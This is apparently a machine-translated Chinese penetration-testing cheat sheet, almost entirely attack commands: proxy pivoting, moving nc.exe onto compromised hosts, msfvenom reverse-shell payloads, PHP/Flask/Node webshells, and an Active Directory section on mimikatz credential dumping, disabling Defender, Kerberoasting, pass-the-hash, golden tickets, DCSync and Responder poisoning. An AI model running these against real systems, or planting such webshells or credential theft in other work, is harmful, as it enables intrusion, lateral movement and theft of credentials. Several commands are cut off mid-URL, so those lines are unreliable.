SSH + 代理链 使用socks4 127.0.0.1 8080编辑/etc/proxychains.conf
1 ssh -N -D 127.0 .0 .1 :8080 <user>@<ip> -p 2222
chisel - 反向代理 你的机器
1 ./chisel server -p LISTEN_PORT --reverse &
受损主机
1 ./chisel client <TARGET_IP>:<LISTEN_PORT> R:socks &
chisel - 转发代理 受损主机
1 ./chisel server -p <LISTEN_PORT> --socks5
你的机器
1 ./chisel client <TARGET_IP>:<LISTEN_PORT> <PROXY_PORT>:socks
1 2 3 4 route add <ip>/24 1 route print use auxiliary/server/socks_proxy run
十九、文件传输 中小企业服务器 设置
1 impacket-smbserver share . -smb2support -user user -password teste321
转移
1 2 net use \\<smbserver>\share /USER:user teste321 copy \\<smbserver>\share\nc.exe .
HTTP协议 启动网络服务器
1 2 python -m SimpleHTTPServer 80 service apache2 start
Windows - 文件下载
1 2 3 4 5 powershell -c "(new-object System.Net.WebClient).DownloadFile('http://<IP>/file.exe','C:\Users\user\Desktop\file.exe')" iwr -uri http: wget http: curl http: certutil -urlcache -f http:
Linux - 文件下载
纯FTPd 安装和配置
1 2 3 4 5 6 7 8 9 10 sudo apt update && sudo apt install pure-ftpd sudo groupadd ftpgroup sudo useradd -g ftpgroup -d /dev/null -s /etc ftpuser sudo pure-pw useradd offsec -u ftpuser -d /ftphome sudo pure-pw mkdb cd /etc/pure-ftpd/auth/ sudo ln -s ../conf/PureDB 60 pdb sudo mkdir -p /ftphome sudo chown -R ftpuser:ftpgroup /ftphome/ sudo systemctl restart pure-ftpd
转移
1 2 3 4 5 6 echo open 192.168 .0 .20 21 > ftp.txt echo USER user>> ftp.txt echo password>> ftp.txt echo bin >> ftp.txt echo GET nc.exe >> ftp.txt echo bye >> ftp.txt
文件传输协议 安装和配置
1 2 3 4 sudo apt update && sudo apt install atftp sudo mkdir /tftp sudo chown nobody: /tftp sudo atftpd --daemon --port 69 /tftp
转移
SCP 1 scp file <user>@192.168 .0 .20 :/home/user/
二十、Shell 和一些有效负载 有效负载结构 - msfvenom 分阶段的有效负载通常分为两部分。第一部分包含一个小的主要有效负载,它将建立连接,并与 shellcode 的其余部分一起传输较大的辅助有效负载。 例如:
1 2 3 4 windows/shell_reverse_tcp (stageless) windows/shell/reverse_tcp (staged) linux/shell_reverse_tcp (stageless) linux/shell/reverse_tcp (staged)
非 Meterpreter 二进制文件( msfvenom + nc ) 视窗-Windows .exe x86 上演 - msfvenom(非 Meterpreter) 1 msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
.exe x64 上演 - msfvenom(非 Meterpreter) 1 msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
.exe x86 stageless - msfvenom(非 Meterpreter) 1 msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
.exe x64 stageless - msfvenom(非 Meterpreter) 1 msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
Linux .elf x86 上演 - msfvenom(非 Meterpreter) 1 msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
.elf x64 上演 - msfvenom(非 Meterpreter) 1 msfvenom -p linux/x64/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf
.elf x86 stageless - msfvenom(非 Meterpreter) 1 msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
.elf x64 stageless - msfvenom(非 Meterpreter) 1 msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf
网络有效负载 Java WAR - msfvenom(非 Meterpreter) 1 msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war
ASP - msfvenom(非 Meterpreter) 1 msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
ASPX - msfvenom(非 Meterpreter) 1 msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<LPORT> -f aspx > shell.aspx
JSP - msfvenom(非 Meterpreter) 1 msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
WAR - msfvenom(非 Meterpreter) 1 msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
PHP - msfvenom(非 Meterpreter) - 反向 Shell 1 msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php
或https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
https://raw.githubusercontent.com/Dhayalanb/windows-php-reverse-shell/master/Reverse Shell.php
网络外壳-shell PHP 1 2 3 <?php echo shell_exec ($_GET['cmd' ]) ;?> <?php system ($_GET['cmd' ]) ;?> <?php echo exec ($_GET['cmd' ]) ;?>
联合应用程序 https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmdjsp.jsp
或在卡利
ASP https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/asp/cmd-asp-5.1.asp
https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/asp/cmdasp.asp
或在卡利
1 2 locate cmd-asp-5.1 .asp locate cmdasp.asp
ASPX https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/asp/cmdasp.aspx
或在卡利
Webshell 感染views.py - Python (Flask) 1 2 3 4 5 6 7 8 9 10 11 import os from flask import Flask,request,os app = Flask(__name__) @app.route('/okay' ) def cmd(): return os.system(request.args.get('c' ))if __name__ == "__main__" : app.run()
https://raw.githubusercontent.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/main/codes/webshells/views.py
节点js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 const express = require('express' )const app = express(); app.listen(3000 , () => console.log ('...' ) ); function Exec (command) { const { execSync } = require("child_process" ); const stdout = execSync(command); return "Result: " +stdout } app.get('/okay/:command' , (req, res) => res.send(Exec(req.params.command)) );
[https://raw.githubusercontent.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/main/codes/webshells/views.js](https://raw.githubusercontent.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/main/codes/webshells/views.js)
perl 查找并编辑
1 locate perl-reverse-shell.pl
通过 Python 生成 tty 1 python -c 'import pty;pty.spawn("/bin/bash")' ;
生成升级后的外壳 1 export TERM=xterm && /usr/bin/script -qc /bin/bash /dev/null
1 2 ctrl + z stty raw -echo; fg
让生活更轻松的工具 revshell 生成器https://www.revshells.com/
CyberChefhttps://gchq.github.io/CyberChef/
urlencoderhttps://www.urlencoder.org/
八进制http://www.unit-conversion.info/texttools/octal/
十六进制http://www.unit-conversion.info/texttools/octal/
IP 转换器https://www.silisoftware.com/tools/ipconverter.php
二十一至二十三、活动目录 枚举 枚举整个域中的所有用户
获取特定用户的信息
枚举整个域中的所有组
获取本地组成员
1 Get-NetLocalGroup -ComputerName <domain> -Recurse (PowerView)
找出域控制器主机名
1 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
配置 ActiveDirectory 模块 - RSAT
1 2 3 4 curl https: curl https: Import-Module .\Microsoft.ActiveDirectory.Management.dll Import-Module .\ActiveDirectory.psd1
配置PowerView模块
1 2 curl https: . .\PowerView.ps1
上次登录
1 Get-LastLoggedOn -ComputerName <domain>
列出计算机
1 Get-NetComputer (PowerView)
将域用户添加到域组
1 2 Add-DomainGroupMember -Identity 'SQLManagers' -Members 'examed' Get-NetGroupMember -GroupName 'SQLManagers'
所有 AD 用户的枚举脚本,以及这些用户帐户的所有属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() $PDC = ($domainObj.PdcRoleOwner).Name $SearchString = "LDAP://" $SearchString += $PDC + "/" $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))" $SearchString += $DistinguishedName $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) $objDomain = New-Object System.DirectoryServices.DirectoryEntry $Searcher.SearchRoot = $objDomain $Searcher.filter="samAccountType=805306368" $Result = $Searcher.FindAll() Foreach($obj in $Result) { Foreach($prop in $obj.Properties) { $prop } Write-Host "------------------------" }
枚举登录用户
1 2 Import-Module .\PowerView.ps1 Get-NetLoggedon -ComputerName <computer_name>
https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1
枚举所有活动会话
1 Get-NetSession -ComputerName dc1
通过服务主体名称进行枚举 https://raw.githubusercontent.com/compwiz32/PowerShell/master/Get-SPN.ps1
远程访问 远程桌面协议 - RDP 创建用户
1 net user <user> <password> /add
添加到本地管理员组
1 net localgroup Administrators <user> /add
添加到可以通过 RDP 访问的用户组
1 2 net localgroup "Remote Management Users" <user> /add net localgroup "Remote Desktop Users" <user> /add
启用 RDP
1 2 Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0 Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
移动到另一个用户
1 runas /user:<hostname>\<user> cmd
xfreerdp 通过 RDP 在 \tsclient\share\ 中共享
1 xfreerdp /u:user /p:pass /v:ip +clipboard /dynamic-resolution /cert:ignore /drive:/usr/share/windows-resources,share
通过 RDP 的 rdesktop
1 rdesktop -u <user> -p <password> -d <domain> -f <ip>
evil-winrm
1 evil-winrm -i <ip> -u <user> -p <password>
缓存凭证存储和检索 转储所有连接用户的凭据,包括缓存的哈希值
1 ./mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
组合执行
1 ./mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "vault::cred /patch" "exit"
提取哈希值 介绍 SAM - 安全帐户管理器(存储为用户帐户)%SystemRoot%/system32/config/sam NTDS.DIT(Windows Server / Active Directory - 存储 AD 数据,包括用户帐户)%SystemRoot%/ntds/ntds.dit SYSTEM(用于解密 SAM/NTDS.DIT 的系统文件)%SystemRoot%/system32/config/system 备份 - Sistemas antigos como XP/2003:C:\Windows\repair\sam 和 C:\Windows\repair\系统
通过注册表获取sam和system(从旧版本到最新版本) 1 2 reg save hklm\sam sam reg save hklm\system system
通过 SMB 共享文件传输 sam 和 syste -> 配置 smb 服务器 1
1 impacket-smbserver share . -smb2support -user user -password teste321
配置 smb 服务器 2
1 2 3 net use \\<smbserver>\share /USER:user teste321 copy C:\Users\Backup\sam.hive \\<smbserver>\share\ copy C:\Users\Backup\system.hive \\<smbserver>\share\
https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/smbserver.py
查看 smb 枚举
1 2 3 net view \\dc /all net use * \\dc\c$ net use
卷影复制(Windows Server \ 最新版本) vssadmin
1 vssadmin create shadow /for =c:
hashdump
samdump2(Win 2k/NT/XP/Vista SAM)
转存SAM转储下载
1 impacket-secretsdump -sam sam -system system LOCAL
提取域中的哈希值并进行旋转 转储所有连接用户的凭据,包括缓存的哈希值
1 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
mimikatz + ScriptBlock
1 $sess = New-PSSession -ComputerName <hostname>
1 2 3 Invoke-command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true } -Session $sessiex (iwr http: Invoke-command -ScriptBlock ${function:Invoke-Mimikatz} -Session $sess
或者
1 2 3 4 Invoke-command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true } -Session $sess Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -Session $sess Enter-PSSession $sess Invoke-Mimikatz
提取缓存中的哈希值 fgdump
/usr/share/windows-binaries/fgdump/fgdump.exe
解释器
wce-universal(明文密码)
/usr/share/windows-resources/wce/wce-universal.exe
mimikatz.exe
1 2 3 .\mimikatz.exe sekurlsa::wdigest -a full sekurlsa::logonpasswords
mimikatz - meterpreter
提取哈希值(远程) 1 impacket-secretsdump user:password@IP
服务帐户攻击 播种存储在内存中的用户票证
1 ./mimikatz.exe "sekurlsa::tickets"
显示当前用户所有缓存的 Kerberos 票证
从内存中导出服务票据
1 ./mimikatz.exe "kerberos::list /export"
使用 tgsrepcrack.py 进行词表攻击以获取服务帐户的明文密码
1 2 sudo apt update && sudo apt install kerberoast python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt <ticket.kirbi>
或者
https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1
密码喷洒 1 .\Spray-Passwords.ps1 -Pass Qwerty09! -Admin
https://web.archive.org/web/20220225190046/https://github.com/ZilentJack/Spray-Passwords/blob/master/Spray-Passwords.ps1
枚举 - BloodHound 安装 - 攻击者虚拟机
1 sudo apt install bloodhound
neo4j 启动 - http://localhost:7474/
枚举 - Windows
1 2 3 4 5 iwr -uri <ip>/SharpHound.ps1 -Outfile SharpHound.ps1 . .\SharpHound.ps1 Invoke-Bloodhound -CollectionMethod All,loggedon Invoke-BloodHound -CollectionMethod All -Verbose Invoke-BloodHound -CollectionMethod LoggedOn -Verbose
访问验证 使用crackmmapexec通过smb验证网络用户凭证
1 2 3 4 crackmapexec smb 192.168 .0 .10 -20 -u administrator -H <hash> -d <domain> --continue -on-success crackmapexec smb 192.168 .0 .10 -20 -u administrator -H <hash> -d <domain> crackmapexec smb 192.168 .0 .10 -20 -u administrator -H <hash> --local-auth --lsa crackmapexec smb 192.168 .0 .10 -20 -u administrator -p <password>
通过 smbclient 连接
smbmap
1 smbmap -H <ip> -u <user>
查看给定用户对 smb 共享的读取权限
1 crackmapexec smb <IP> --shares -u <user> -p '<pass>'
AS-REP Roasting攻击 - 不需要预身份验证 kerbrute - 枚举用户
1 kerbrute userenum -d test.local --dc <dc_ip> userlist.txt
https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/userlist.txt
GetNPUsers.py - 从 KDC 查询 ASReproastable 帐户
1 impacket-GetNPUsers domain.local/ -dc-ip <IP> -usersfile userlist.txt
Kerberoast impacket-GetUserSPNs
1 impacket-GetUserSPNs <domain>/<user>:<password>
或者
1 impacket-GetUserSPNs -request -dc-ip <IP> -hashes <hash_machine_account>:<hash_machine_account> <domain>/<machine_name$> -outputfile hashes.kerberoast
1 hashcat -a 0 -m 13100 ok.txt /usr/share/wordlists/rockyou.txt
1 .\PsExec.exe -u <domain>\<user> -p <password> cmd.exe
或者
1 runas /user:<hostname>\<user> cmd.exe
Active Directory 横向移动 传递哈希值 允许攻击者通过用户的 NTLM 哈希对远程系统或服务进行身份验证
1 pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:<hash_ntlm>
远程访问 - impacket-psexec
1 2 impacket-psexec '<domain>/<user>' @<IP> -hashes ':<hash>' impacket-psexec '<domain>/<user>' @<IP>
远程访问+evil-winrm
1 evil-winrm -i <IP> -u <user> -H <hash>
越过哈希值 允许攻击者滥用 NTLM 用户哈希来获取完整的 Kerberos 票证授予票证 (TGT) 或服务票证,这使我们能够以该用户的身份访问另一台计算机或服务
1 mimikatz.exe "sekurlsa::pth /user:jeff_admin /domain:corp.com /ntlm:e2b475c11da2a0748290d87aa966c327 /run:PowerShell.exe" "exit"
使用 psexec 执行命令
1 .\PsExec.exe \\<hostname> cmd.exe
白银票据 - 通票 这是一种持久性和特权提升技术,通过伪造 TGS 来获取对应用程序中服务的访问权限。 获取SID
1 GetDomainsid (PowerView)
或者
获取机器帐户哈希
1 Invoke-Mimikatz '"lsadump::lsa /patch"' -ComputerName <hostname_dc>
利用mimikatz.exe
1 2 3 kerberos::purge kerberos::list kerberos::golden /user:<user> /domain:<domain> /sid:<sid> /target:<hostname.domain> /service:HTTP /rc4:<ervice_account_password_hash> /ptt
或者
1 2 Invoke-Mimikatz -Command '"kerberos::golden /domain:<domain> /sid:<domainsid> /target:<dc>.<domain> /service:HOST /rc4:<machine_account_hash> /user:Administrator /ptt"' kerberos::list
黄金票据 - 通行证 这是一种持久性和特权提升技术,通过伪造票证来控制 Active Directory 密钥分发服务 (KRBTGT) 帐户并颁发 TGT。
获取哈希 krbtgt
1 ./mimikatz.exe "privilege::debug" "lsadump::lsa /patch"
获取SID
1 GetDomainsid (PowerView)
或者
执行黄金票据并利用
1 2 3 mimikatz.exe "kerberos::purge" "kerberos::golden /user:fakeuser /domain:corp.com /sid:S-1-5-21-1602875587-2787523311-2599479668 /krbtgt:75b60230a2394a812000dbfad8415965 /ptt" "misc::cmd" psexec.exe \\dc1 cmd.exe
DC同步攻击 DCSync 攻击包括向域控制器请求复制更新并获取 Active Directory 中每个帐户的密码哈希值,而无需登录域控制器。
1 ./mimikatz.exe "lsadump::dcsync /user:Administrator"
SMB 的 NetNTLM 身份验证漏洞 - LLMNR 中毒 - 捕获响应程序中的哈希值 Responder 允许您在 NetNTLM 身份验证期间通过中毒响应来执行中间人攻击,使客户端与您对话,而不是与它想要连接的真实服务器对话。在真实的 LAN 网络上,响应者将尝试毒害检测到的所有链路本地多播名称解析 (LLMNR)、NetBIOS 名称服务器 (NBT-NS) 和 Web 代理自动发现 (WPAD) 请求。NBT-NS 是 LLMNR 的前身协议。